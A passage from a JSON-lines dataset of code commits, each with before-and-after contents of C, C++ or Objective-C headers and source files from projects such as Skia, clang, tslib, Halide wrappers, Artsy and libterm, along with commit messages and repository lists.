d_.find(word);\n    if (i == d_.end()) {\n      if (frozen)\n        return 0;\n      words_.push_back(word);\n      d_[word] = words_.size();\n      return words_.size();\n    } else {\n      return i->second;\n    }\n  }\n\n  inline WordID Convert(const std::vector<std::string>& words, bool frozen = false) {\n    std::string word= \"\";\n    for (std::vector<std::string>::const_iterator it=words.begin();\n         it != words.end(); ++it) {\n      if (it != words.begin()) word += \"__\";\n      word += *it;\n    }\n\n    return Convert(word, frozen);\n  }\n\n  inline const std::string& Convert(const WordID& id) const {\n    if (id == 0) return b0_;\n    assert(id <= words_.size());\n    return words_[id-1];\n  }\n\n  void clear() { words_.clear(); d_.clear(); }\n\n private:\n  const std::string b0_;\n  std::vector<std::string> words_;\n  Map d_;\n};\n\n#endif\n","subject":"Update utility functions to work with pyp-topics.","message":"Update utility functions to work with pyp-topics.\n\ngit-svn-id: 357248c53bdac2d7b36f7ee045286eb205fcf757@49 ec762483-ff6d-05da-a07a-a48fb63a330f\n","lang":"C","license":"apache-2.0","repos":"pks\/cdec-dtrain-legacy,kho\/mr-cdec,kho\/mr-cdec,agesmundo\/FasterCubePruning,agesmundo\/FasterCubePruning,kho\/mr-cdec,agesmundo\/FasterCubePruning,pks\/cdec-dtrain-legacy,pks\/cdec-dtrain-legacy,agesmundo\/FasterCubePruning,pks\/cdec-dtrain-legacy,agesmundo\/FasterCubePruning,kho\/mr-cdec,kho\/mr-cdec,agesmundo\/FasterCubePruning,pks\/cdec-dtrain-legacy,kho\/mr-cdec,pks\/cdec-dtrain-legacy"}
{"commit":"723fda1013baccca0a0686d465fb47b426ebc6b8","old_file":"bayesiannetwork.h","new_file":"bayesiannetwork.h","old_contents":"#include \"bayesian.h\"\r\nnamespace baysian {\r\n\r\nclass bayesianNetwork : public bayesian {\r\n private:\r\n  long double ***cpt;\r\n  double *classCount;  \/\/ this array store the total number of each\r\n                       \/\/ decision's class in training data\r\n  int *discrete;\r\n  int *classNum;  \/\/ this array store the number of classes of each attribute\r\n  int **parent;\r\n\r\n public:\r\n  bayesianNetwork(char *);\r\n  ~bayesianNetwork();\r\n  \/\/ initialize all the information we need from training data\r\n  void predict(char *);\r\n  \/\/ calculate the probability of each choice and choose the greatest one as our\r\n  \/\/ prediction\r\n  void train(char *);\r\n};\r\n\r\ntemplate <class Type>\r\nstruct data {\r\n  double key;\r\n  Type value1;\r\n  Type value2;\r\n};\r\n\r\n}  \/\/ namespace baysian\r\n","new_contents":"#include \"bayesian.h\"\r\nnamespace baysian {\r\n\r\nclass bayesianNetwork : public bayesian {\r\n private:\r\n  long double ***cpt;\r\n  int **parent;\r\n\r\n public:\r\n  bayesianNetwork(char *);\r\n  ~bayesianNetwork();\r\n  \/\/ initialize all the information we need from training data\r\n  void predict(char *);\r\n  \/\/ calculate the probability of each choice and choose the greatest one as our\r\n  \/\/ prediction\r\n  void train(char *);\r\n};\r\n\r\ntemplate <class Type>\r\nstruct data {\r\n  double key;\r\n  Type value1;\r\n  Type value2;\r\n};\r\n\r\n}  \/\/ namespace baysian\r\n","subject":"Move variable to base class","message":"Move variable to base class\n","lang":"C","license":"mit","repos":"lrvine\/Bayesian"}
{"commit":"a4dc43cdec3a5bdee8829e4104ff732f995c8cc6","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 97\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 98\n#endif\n","subject":"Update Skia milestone to 98","message":"Update Skia milestone to 98\n\nChange-Id: I937e0594b8fa3a1cc5ac2e2b80d1f0f406772817\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/468338\nReviewed-by: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia"}
{"commit":"7acf4549932adde2961864023db47ebfde07440d","old_file":"test\/Frontend\/dependency-gen.c","new_file":"test\/Frontend\/dependency-gen.c","old_contents":"\/\/ rdar:\/\/6533411\n\/\/ RUN: %clang -MD -MF %t.d -S -x c -o %t.o %s\n\/\/ RUN: grep '.*dependency-gen.*:' %t.d\n\/\/ RUN: grep 'dependency-gen.c' %t.d\n\n\/\/ RUN: %clang -S -M -x c %s -o %t.d\n\/\/ RUN: grep '.*dependency-gen.*:' %t.d\n\/\/ RUN: grep 'dependency-gen.c' %t.d\n\n\/\/ PR8974\n\/\/ XFAIL: win32\n\/\/ RUN: rm -rf %t.dir\n\/\/ RUN: mkdir %t.dir\n\/\/ RUN: echo > %t.dir\/x.h\n\/\/ RUN: %clang -include %t.dir\/x.h -MD -MF %t.d -S -x c -o %t.o %s\n\/\/ RUN: grep ' %t.dir\/x.h' %t.d\n\n","new_contents":"\/\/ rdar:\/\/6533411\n\/\/ RUN: %clang -MD -MF %t.d -S -x c -o %t.o %s\n\/\/ RUN: grep '.*dependency-gen.*:' %t.d\n\/\/ RUN: grep 'dependency-gen.c' %t.d\n\n\/\/ RUN: %clang -S -M -x c %s -o %t.d\n\/\/ RUN: grep '.*dependency-gen.*:' %t.d\n\/\/ RUN: grep 'dependency-gen.c' %t.d\n\n\/\/ PR8974\n\/\/ XFAIL: win32\n\/\/ RUN: rm -rf %t.dir\n\/\/ RUN: mkdir -p %t.dir\/a\/b\n\/\/ RUN: echo > %t.dir\/a\/b\/x.h\n\/\/ RUN: cd %t.dir\n\/\/ RUN: %clang -include a\/b\/x.h -MD -MF %t.d -S -x c -o %t.o %s\n\/\/ RUN: grep ' a\/b\/x\\.h' %t.d\n\n","subject":"Tweak this test a bit further to make it easier on grep. Who knows what characters get dropped into the regular expression from %t.","message":"Tweak this test a bit further to make it easier on grep. Who knows what\ncharacters get dropped into the regular expression from %t.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@126361 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"3df2ab08d7c3be79b496ebc746ca371ba25a3db1","old_file":"util\/malloccache.h","new_file":"util\/malloccache.h","old_contents":"#ifndef MALLOCCACHE_H\n#define MALLOCCACHE_H\n\ntemplate <size_t blockSize, size_t blockCount>\nclass MallocCache\n{\npublic:\n    MallocCache()\n       : m_blocksCached(0)\n    {\n    }\n\n    ~MallocCache()\n    {\n        assert(m_blocksCached >= 0 && m_blocksCached <= blockCount);\n        for (size_t i = 0; i < m_blocksCached; i++) {\n            ::free(m_blocks[i]);\n        }\n    }\n\n    void *allocate()\n    {\n        assert(m_blocksCached >= 0 && m_blocksCached <= blockCount);\n        if (m_blocksCached) {\n            return m_blocks[--m_blocksCached];\n        } else {\n            return ::malloc(blockSize);\n        }\n    }\n\n    void free(void *allocation)\n    {\n        assert(m_blocksCached >= 0 && m_blocksCached <= blockCount);\n        if (m_blocksCached < blockCount) {\n            m_blocks[m_blocksCached++] = allocation;\n        } else {\n            ::free(allocation);\n        }\n    }\n\nprivate:\n    void *m_blocks[blockCount];\n    size_t m_blocksCached;\n};\n\n#endif MALLOCCACHE_H\n","new_contents":"#ifndef MALLOCCACHE_H\n#define MALLOCCACHE_H\n\ntemplate <size_t blockSize, size_t blockCount>\nclass MallocCache\n{\npublic:\n    MallocCache()\n       : m_blocksCached(0)\n    {\n    }\n\n    ~MallocCache()\n    {\n        assert(m_blocksCached >= 0 && m_blocksCached <= blockCount);\n        for (size_t i = 0; i < m_blocksCached; i++) {\n            ::free(m_blocks[i]);\n        }\n    }\n\n    void *allocate()\n    {\n        assert(m_blocksCached >= 0 && m_blocksCached <= blockCount);\n        if (m_blocksCached) {\n            return m_blocks[--m_blocksCached];\n        } else {\n            return ::malloc(blockSize);\n        }\n    }\n\n    void free(void *allocation)\n    {\n        assert(m_blocksCached >= 0 && m_blocksCached <= blockCount);\n        if (m_blocksCached < blockCount) {\n            m_blocks[m_blocksCached++] = allocation;\n        } else {\n            ::free(allocation);\n        }\n    }\n\nprivate:\n    void *m_blocks[blockCount];\n    size_t m_blocksCached;\n};\n\n#endif \/\/ MALLOCCACHE_H\n","subject":"Fix a preprocessor syntax error. Strangely, the file still compiled.","message":"Fix a preprocessor syntax error. Strangely, the file still compiled.\n","lang":"C","license":"lgpl-2.1","repos":"KDE\/dferry,KDE\/dferry"}
{"commit":"ddde9def184d2a4aae122a74db99ec1b732504e5","old_file":"benchmarks\/halide\/wrapper_fusion.h","new_file":"benchmarks\/halide\/wrapper_fusion.h","old_contents":"#ifndef HALIDE__build___wrapper_fusion_o_h\n#define HALIDE__build___wrapper_fusion_o_h\n\n#include <coli\/utils.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint fusion_coli(buffer_t *_b_input_buffer, buffer_t *_b_output_f_buffer, buffer_t *_b_output_g_buffer) HALIDE_FUNCTION_ATTRS;\nint fusion_coli_argv(void **args) HALIDE_FUNCTION_ATTRS;\nint fusion_ref(buffer_t *_b_input_buffer, buffer_t *_b_output_f_buffer, buffer_t *_b_output_g_buffer) HALIDE_FUNCTION_ATTRS;\nint fusion_ref_argv(void **args) HALIDE_FUNCTION_ATTRS;\n\/\/ Result is never null and points to constant static data\nconst struct halide_filter_metadata_t *fusion_coli_metadata() HALIDE_FUNCTION_ATTRS;\nconst struct halide_filter_metadata_t *fusion_ref_metadata() HALIDE_FUNCTION_ATTRS;\n\n#ifdef __cplusplus\n}  \/\/ extern \"C\"\n#endif\n#endif\n","new_contents":"#ifndef HALIDE__build___wrapper_fusion_o_h\n#define HALIDE__build___wrapper_fusion_o_h\n\n#include <coli\/utils.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint fusion_coli(buffer_t *_b_input_buffer, buffer_t *_b_output_f_buffer, buffer_t *_b_output_g_buffer, buffer_t *_b_output_h_buffer, buffer_t *_b_output_k_buffer) HALIDE_FUNCTION_ATTRS;\nint fusion_coli_argv(void **args) HALIDE_FUNCTION_ATTRS;\nint fusion_ref(buffer_t *_b_input_buffer, buffer_t *_b_output_f_buffer, buffer_t *_b_output_g_buffer, buffer_t *_b_output_h_buffer, buffer_t *_b_output_k_buffer) HALIDE_FUNCTION_ATTRS;\nint fusion_ref_argv(void **args) HALIDE_FUNCTION_ATTRS;\n\/\/ Result is never null and points to constant static data\nconst struct halide_filter_metadata_t *fusion_coli_metadata() HALIDE_FUNCTION_ATTRS;\nconst struct halide_filter_metadata_t *fusion_ref_metadata() HALIDE_FUNCTION_ATTRS;\n\n#ifdef __cplusplus\n}  \/\/ extern \"C\"\n#endif\n#endif\n","subject":"Update wrapper fusion header file","message":"Update wrapper fusion header file\n","lang":"C","license":"mit","repos":"rbaghdadi\/tiramisu,rbaghdadi\/COLi,rbaghdadi\/ISIR,rbaghdadi\/tiramisu,rbaghdadi\/ISIR,rbaghdadi\/COLi,rbaghdadi\/tiramisu,rbaghdadi\/tiramisu"}
{"commit":"9c3742a8d8a829ec746e0a974aa30fb5dd0e3d1a","old_file":"src\/tslib-private.h","new_file":"src\/tslib-private.h","old_contents":"#ifndef _TSLIB_PRIVATE_H_\n#define _TSLIB_PRIVATE_H_\n\/*\n *  tslib\/src\/tslib-private.h\n *\n *  Copyright (C) 2001 Russell King.\n *\n * This file is placed under the LGPL.\n *\n *\n * Internal touch screen library definitions.\n *\/\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\n#include \"tslib.h\"\n#include \"tslib-filter.h\"\n\nstruct tsdev {\n\tint fd;\n\tstruct tslib_module_info *list;\n\tstruct tslib_module_info *list_raw; \/* points to position in 'list' where raw reads\n\t\t\t\t\t       come from.  default is the position of the\n\t\t\t\t\t       ts_read_raw module. *\/\n\tunsigned int res_x;\n\tunsigned int res_y;\n\tint rotation;\n};\n\nint __ts_attach(struct tsdev *ts, struct tslib_module_info *info);\nint __ts_attach_raw(struct tsdev *ts, struct tslib_module_info *info);\nint ts_load_module(struct tsdev *dev, const char *module, const char *params);\nint ts_load_module_raw(struct tsdev *dev, const char *module, const char *params);\nint ts_error(const char *fmt, ...);\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n#endif \/* _TSLIB_PRIVATE_H_ *\/\n","new_contents":"#ifndef _TSLIB_PRIVATE_H_\n#define _TSLIB_PRIVATE_H_\n\/*\n *  tslib\/src\/tslib-private.h\n *\n *  Copyright (C) 2001 Russell King.\n *\n * This file is placed under the LGPL.\n *\n *\n * Internal touch screen library definitions.\n *\/\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\n#include \"tslib.h\"\n#include \"tslib-filter.h\"\n\n#define DEBUG\n\nstruct tsdev {\n\tint fd;\n\tstruct tslib_module_info *list;\n\tstruct tslib_module_info *list_raw; \/* points to position in 'list' where raw reads\n\t\t\t\t\t       come from.  default is the position of the\n\t\t\t\t\t       ts_read_raw module. *\/\n\tunsigned int res_x;\n\tunsigned int res_y;\n\tint rotation;\n};\n\nint __ts_attach(struct tsdev *ts, struct tslib_module_info *info);\nint __ts_attach_raw(struct tsdev *ts, struct tslib_module_info *info);\nint ts_load_module(struct tsdev *dev, const char *module, const char *params);\nint ts_load_module_raw(struct tsdev *dev, const char *module, const char *params);\nint ts_error(const char *fmt, ...);\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n#endif \/* _TSLIB_PRIVATE_H_ *\/\n","subject":"Enable debug option for all components","message":"Enable debug option for all components\n","lang":"C","license":"lgpl-2.1","repos":"kergoth\/tslib,vpeter4\/tslib,lin2724\/tslib,lin2724\/tslib,vpeter4\/tslib,pssc\/tslib,kergoth\/tslib,kobolabs\/tslib,etmatrix\/tslib,jaretcantu\/tslib,leighmurray\/tslib,pssc\/tslib,kobolabs\/tslib,etmatrix\/tslib,pssc\/tslib,leighmurray\/tslib,folkien\/tslib,folkien\/tslib,etmatrix\/tslib,kergoth\/tslib,kergoth\/tslib,jaretcantu\/tslib,kobolabs\/tslib"}
{"commit":"c5600ec92f953554dbb2f34ab8b17938620cff65","old_file":"src\/os\/Win32\/os_common.h","new_file":"src\/os\/Win32\/os_common.h","old_contents":"#ifndef OS_COMMON_H_\n#define OS_COMMON_H_\n\n#include <stddef.h>\n#include <fcntl.h>\n#include <io.h>\n#include <stdio.h>\n\n\/*\n * MinGW lfind() and friends use `unsigned int *` where they should use a\n * `size_t *` according to the man page.\n *\/\ntypedef unsigned int lfind_size_t;\n\n\/\/ timeradd doesn't exist on MinGW\n#ifndef timeradd\n#define timeradd(a, b, result) \\\n    do { \\\n        (result)->tv_sec  = (a)->tv_sec  + (b)->tv_sec; \\\n        (result)->tv_usec = (a)->tv_usec + (b)->tv_usec; \\\n        (result)->tv_sec += (result)->tv_usec \/ 1000000; \\\n        (result)->tv_usec %= 1000000; \\\n    } while (0) \\\n    \/\/\n#endif\n\nstruct param_state;\n\nchar *os_find_self(const char *);\nFILE *os_fopen(const char *, const char *);\nint os_get_tsimrc_path(char buf[], size_t sz);\nlong os_getpagesize(void);\nint os_preamble(void);\nint os_set_buffering(FILE *stream, int mode);\n\n#endif\n\n\/* vi: set ts=4 sw=4 et: *\/\n","new_contents":"#ifndef OS_COMMON_H_\n#define OS_COMMON_H_\n\n#include <stddef.h>\n#include <fcntl.h>\n#include <io.h>\n#include <stdio.h>\n#include <sys\/time.h>\n\n\/*\n * MinGW lfind() and friends use `unsigned int *` where they should use a\n * `size_t *` according to the man page.\n *\/\ntypedef unsigned int lfind_size_t;\n\n\/\/ timeradd doesn't exist on MinGW\n#ifndef timeradd\n#define timeradd timeradd\n\nstatic inline void timeradd(struct timeval *a, struct timeval *b,\n                            struct timeval *result)\n{\n    result->tv_sec  = a->tv_sec  + b->tv_sec;\n    result->tv_usec = a->tv_usec + b->tv_usec;\n    result->tv_sec += result->tv_usec \/ 1000000;\n    result->tv_usec %= 1000000;\n}\n\n#endif\n\nstruct param_state;\n\nchar *os_find_self(const char *);\nFILE *os_fopen(const char *, const char *);\nint os_get_tsimrc_path(char buf[], size_t sz);\nlong os_getpagesize(void);\nint os_preamble(void);\nint os_set_buffering(FILE *stream, int mode);\n\n#endif\n\n\/* vi: set ts=4 sw=4 et: *\/\n","subject":"Implement timeradd as an inline function","message":"Implement timeradd as an inline function\n","lang":"C","license":"mit","repos":"kulp\/tenyr,kulp\/tenyr,kulp\/tenyr"}
{"commit":"9004e0e41a58b5af376d169bf91d320ce6705b36","old_file":"adapters\/Vungle\/Public\/Headers\/VungleAdNetworkExtras.h","new_file":"adapters\/Vungle\/Public\/Headers\/VungleAdNetworkExtras.h","old_contents":"\/\/ Copyright 2019 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#import <Foundation\/Foundation.h>\n\n#import <GoogleMobileAds\/GADAdNetworkExtras.h>\n\n@interface VungleAdNetworkExtras : NSObject<GADAdNetworkExtras>\n\n\/*!\n * @brief NSString with user identifier that will be passed if the ad is incentivized.\n * @discussion Optional. The value passed as 'user' in the an incentivized server-to-server call.\n *\/\n@property(nonatomic, copy) NSString *_Nullable userId;\n\n\/*!\n * @brief Controls whether presented ads will start in a muted state or not.\n *\/\n@property(nonatomic, assign) BOOL muted;\n\n@property(nonatomic, assign) NSUInteger ordinal;\n\n@property(nonatomic, assign) NSTimeInterval flexViewAutoDismissSeconds;\n\n@property(nonatomic, copy) NSArray<NSString *> *_Nullable allPlacements;\n\n@property(nonatomic, copy) NSString *_Nullable playingPlacement;\n\n@end\n","new_contents":"\/\/ Copyright 2019 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#import <Foundation\/Foundation.h>\n\n#import <GoogleMobileAds\/GADAdNetworkExtras.h>\n\n@interface VungleAdNetworkExtras : NSObject<GADAdNetworkExtras>\n\n\/*!\n * @brief NSString with user identifier that will be passed if the ad is incentivized.\n * @discussion Optional. The value passed as 'user' in the an incentivized server-to-server call.\n *\/\n@property(nonatomic, copy) NSString *_Nullable userId;\n\n\/*!\n * @brief Controls whether presented ads will start in a muted state or not.\n *\/\n@property(nonatomic, assign) BOOL muted;\n\n@property(nonatomic, assign) NSUInteger ordinal;\n\n@property(nonatomic, assign) NSTimeInterval flexViewAutoDismissSeconds;\n\n@property(nonatomic, copy) NSArray<NSString *> *_Nullable allPlacements;\n\n@property(nonatomic, copy) NSString *_Nullable playingPlacement;\n\n@property(nonatomic, copy) NSNumber *_Nullable orientations;\n\n@end\n","subject":"Add video orientation to play ad option","message":"Add video orientation to play ad option\n","lang":"C","license":"apache-2.0","repos":"googleads\/googleads-mobile-ios-mediation,googleads\/googleads-mobile-ios-mediation,googleads\/googleads-mobile-ios-mediation,googleads\/googleads-mobile-ios-mediation"}
{"commit":"7c73373b2c3a3b22afa807ac64d468cdf5e0f570","old_file":"hellow_ioctl.h","new_file":"hellow_ioctl.h","old_contents":"#ifndef HELLOW_IOCTL_H\n#define HELLOW_IOCTL_H\n\n#define HWM_LOG_OFF  0xff00\n#define HWM_LOG_ON   0xff01\n\n#endif\n","new_contents":"#ifndef HELLOW_IOCTL_H\n#define HELLOW_IOCTL_H\n\n#define HWM_LOG_OFF           0xff00\n#define HWM_LOG_ON            0xff01\n#define HWM_GET_LOG_ENT_SIZE  0xff02\n#define HWM_GET_LOG_ENT       0xff03\n\n#endif\n","subject":"Add macros for ioctl fetching of log data.","message":"Add macros for ioctl fetching of log data.\n","lang":"C","license":"apache-2.0","repos":"utsaslab\/crashmonkey,utsaslab\/crashmonkey,utsaslab\/crashmonkey,utsaslab\/crashmonkey"}
{"commit":"f7629773ce822641fcb918f68c4c47d79c90f903","old_file":"Artsy\/Classes\/Views\/ARArtworkRelatedArtworksView.h","new_file":"Artsy\/Classes\/Views\/ARArtworkRelatedArtworksView.h","old_contents":"#import \"ARArtworkMasonryModule.h\"\n#import \"ARArtworkViewController.h\"\n\ntypedef NS_ENUM(NSInteger, ARRelatedArtworksSubviewOrder) {\n    ARRelatedArtworksSameShow = 1,\n    ARRelatedArtworksSameFair,\n    ARRelatedArtworksSameAuction,\n    ARRelatedArtworksArtistArtworks,\n    ARRelatedArtworks,\n};\n\n@class ARArtworkRelatedArtworksView;\n\n@protocol ARArtworkRelatedArtworksViewParentViewController <NSObject>\n\n@required\n- (void)relatedArtworksView:(ARArtworkRelatedArtworksView *)view shouldShowViewController:(UIViewController *)viewController;\n- (void)relatedArtworksView:(ARArtworkRelatedArtworksView *)view didAddSection:(UIView *)section;\n@optional\n\n- (Fair *)fair;\n@end\n\n@interface ARArtworkRelatedArtworksView : ORTagBasedAutoStackView <ARArtworkMasonryLayoutProvider>\n\n@property (nonatomic, weak) ARArtworkViewController<ARArtworkRelatedArtworksViewParentViewController> *parentViewController;\n\n- (void)cancelRequests;\n\n- (void)updateWithArtwork:(Artwork *)artwork;\n- (void)updateWithArtwork:(Artwork *)artwork withCompletion:(void(^)())completion;\n\n\/\/ TODO make all these private\n\n\/\/ Use this when showing an artwork in the context of a fair.\n- (void)addSectionsForFair:(Fair *)fair;\n\n\/\/ Use this when showing an artwork in the context of a show.\n- (void)addSectionsForShow:(PartnerShow *)show;\n\n\/\/ Use this when showing an artwork in the context of an auction.\n- (void)addSectionsForAuction:(Sale *)auction;\n\n\/\/ In all other cases, this should be used to simply show related artworks.\n- (void)addSectionWithRelatedArtworks;\n\n@end\n","new_contents":"#import \"ARArtworkMasonryModule.h\"\n#import \"ARArtworkViewController.h\"\n\ntypedef NS_ENUM(NSInteger, ARRelatedArtworksSubviewOrder) {\n    ARRelatedArtworksSameShow = 1,\n    ARRelatedArtworksSameFair,\n    ARRelatedArtworksSameAuction,\n    ARRelatedArtworksArtistArtworks,\n    ARRelatedArtworks,\n};\n\n@class ARArtworkRelatedArtworksView;\n\n@protocol ARArtworkRelatedArtworksViewParentViewController <NSObject>\n\n@required\n- (void)relatedArtworksView:(ARArtworkRelatedArtworksView *)view shouldShowViewController:(UIViewController *)viewController;\n- (void)relatedArtworksView:(ARArtworkRelatedArtworksView *)view didAddSection:(UIView *)section;\n@optional\n\n- (Fair *)fair;\n@end\n\n@interface ARArtworkRelatedArtworksView : ORTagBasedAutoStackView <ARArtworkMasonryLayoutProvider>\n\n@property (nonatomic, weak) ARArtworkViewController<ARArtworkRelatedArtworksViewParentViewController> *parentViewController;\n\n- (void)cancelRequests;\n\n- (void)updateWithArtwork:(Artwork *)artwork;\n- (void)updateWithArtwork:(Artwork *)artwork withCompletion:(void(^)())completion;\n\n@end\n","subject":"Make adding related works sections private.","message":"[Artwork] Make adding related works sections private.\n","lang":"C","license":"mit","repos":"1aurabrown\/eigen,artsy\/eigen,Havi4\/eigen,artsy\/eigen,mbogh\/eigen,TribeMedia\/eigen,gaurav1981\/eigen,Havi4\/eigen,artsy\/eigen,ichu501\/eigen,sarahscott\/eigen,orta\/eigen,ichu501\/eigen,gaurav1981\/eigen,ashkan18\/eigen,ayunav\/eigen,liduanw\/eigen,ACChe\/eigen,artsy\/eigen,artsy\/eigen,foxsofter\/eigen,Shawn-WangDapeng\/eigen,ayunav\/eigen,ppamorim\/eigen,srrvnn\/eigen,liduanw\/eigen,1aurabrown\/eigen,neonichu\/eigen,TribeMedia\/eigen,ashkan18\/eigen,Shawn-WangDapeng\/eigen,artsy\/eigen,1aurabrown\/eigen,liduanw\/eigen,TribeMedia\/eigen,Shawn-WangDapeng\/eigen,liduanw\/eigen,Havi4\/eigen,xxclouddd\/eigen,ppamorim\/eigen,Havi4\/eigen,xxclouddd\/eigen,ashkan18\/eigen,ACChe\/eigen,gaurav1981\/eigen,sarahscott\/eigen,neonichu\/eigen,liduanw\/eigen,ichu501\/eigen,mbogh\/eigen,ppamorim\/eigen,foxsofter\/eigen,ayunav\/eigen,orta\/eigen,srrvnn\/eigen,ayunav\/eigen,xxclouddd\/eigen,sarahscott\/eigen,TribeMedia\/eigen,foxsofter\/eigen,ichu501\/eigen,Shawn-WangDapeng\/eigen,mbogh\/eigen,zhuzhengwei\/eigen,zhuzhengwei\/eigen,ACChe\/eigen,xxclouddd\/eigen,neonichu\/eigen,srrvnn\/eigen,gaurav1981\/eigen,ayunav\/eigen,1aurabrown\/eigen,srrvnn\/eigen,ashkan18\/eigen,srrvnn\/eigen,orta\/eigen,ACChe\/eigen,ichu501\/eigen,artsy\/eigen,foxsofter\/eigen,zhuzhengwei\/eigen,foxsofter\/eigen,sarahscott\/eigen,xxclouddd\/eigen,Shawn-WangDapeng\/eigen,ashkan18\/eigen,mbogh\/eigen,gaurav1981\/eigen,neonichu\/eigen,ppamorim\/eigen,zhuzhengwei\/eigen,ACChe\/eigen,neonichu\/eigen,TribeMedia\/eigen,orta\/eigen"}
{"commit":"5699bd2a8106b4fefd59fb4c3a5a63a295a86a6a","old_file":"OutputBitmap.h","new_file":"OutputBitmap.h","old_contents":"","new_contents":"#ifndef OUTPUTBITMAP_H\n#define OUTPUTBITMAP_H\n\n#include <iostream>\n#include \"common.h\"\n\nusing std::ostream;\n\nclass OutputBitmap {\n\tprotected:\n\t\tunsigned int width, height;\n\t\tOutputBitmap(unsigned int width, unsigned int height) : width(width), height(height) {};\n\n\tpublic:\n\t\tunsigned int getWidth() const { return width; };\n\t\tunsigned int getHeight() const { return height; };\n\n\t\tvoid setPixel(unsigned int x, unsigned int y, const color& c) = 0;\n\t\tvoid getPixel(unsigned int x, unsigned int y, color& c) = 0;\n\t\tcolor getPixel(unsigned int x, unsigned int y) = 0;\n\n\t\tvoid commit() = 0;\n\n\t\tvoid write(ostream& output) = 0;\n};\n\noperator << (ofstream& output, OutputBitmap bitmap) {\n\tbitmap.write(output);\n}\n","subject":"Add an abstract bitmap class.","message":"Add an abstract bitmap class.\n","lang":"C","license":"mit","repos":"bertptrs\/raytracpp"}
{"commit":"c183c2b8aac1bfaefe82c9532bd16ec0f373142b","old_file":"lib\/callbacks.c","new_file":"lib\/callbacks.c","old_contents":"#include <libterm_internal.h>\n\nvoid term_update(term_t_i *term)\n{\n    if( term->dirty.exists && term->update != NULL ) {\n        term->update(TO_H(term), term->dirty.x, term->dirty.y, term->dirty.width, term->dirty.height);\n        term->dirty.exists = false;\n    }\n}\n\nvoid term_cursor_update(term_t_i *term)\n{\n    if( term->dirty_cursor.exists && term->cursor_update != NULL ) {\n        term->cursor_update(TO_H(term), term->dirty_cursor.old_ccol, term->dirty_cursor.old_crow - (term->grid.history - term->grid.height), term->ccol, term->crow - (term->grid.history - term->grid.height));\n        term->dirty_cursor.exists = false;\n        term->dirty_cursor.old_ccol = term->ccol;\n        term->dirty_cursor.old_crow = term->crow;\n    }\n}\n","new_contents":"#include <libterm_internal.h>\n\nvoid term_update(term_t_i *term)\n{\n    if( term->dirty.exists && term->update != NULL ) {\n        term->update(TO_H(term), term->dirty.x, term->dirty.y - (term->grid.history - term->grid.height), term->dirty.width, term->dirty.height);\n        term->dirty.exists = false;\n    }\n}\n\nvoid term_cursor_update(term_t_i *term)\n{\n    if( term->dirty_cursor.exists && term->cursor_update != NULL ) {\n        term->cursor_update(TO_H(term), term->dirty_cursor.old_ccol, term->dirty_cursor.old_crow - (term->grid.history - term->grid.height), term->ccol, term->crow - (term->grid.history - term->grid.height));\n        term->dirty_cursor.exists = false;\n        term->dirty_cursor.old_ccol = term->ccol;\n        term->dirty_cursor.old_crow = term->crow;\n    }\n}\n","subject":"Fix update callback position to be grid-relative not scrollback-relative.","message":"Fix update callback position to be grid-relative not scrollback-relative.\n","lang":"C","license":"apache-2.0","repos":"absmall\/libterm,absmall\/libterm"}
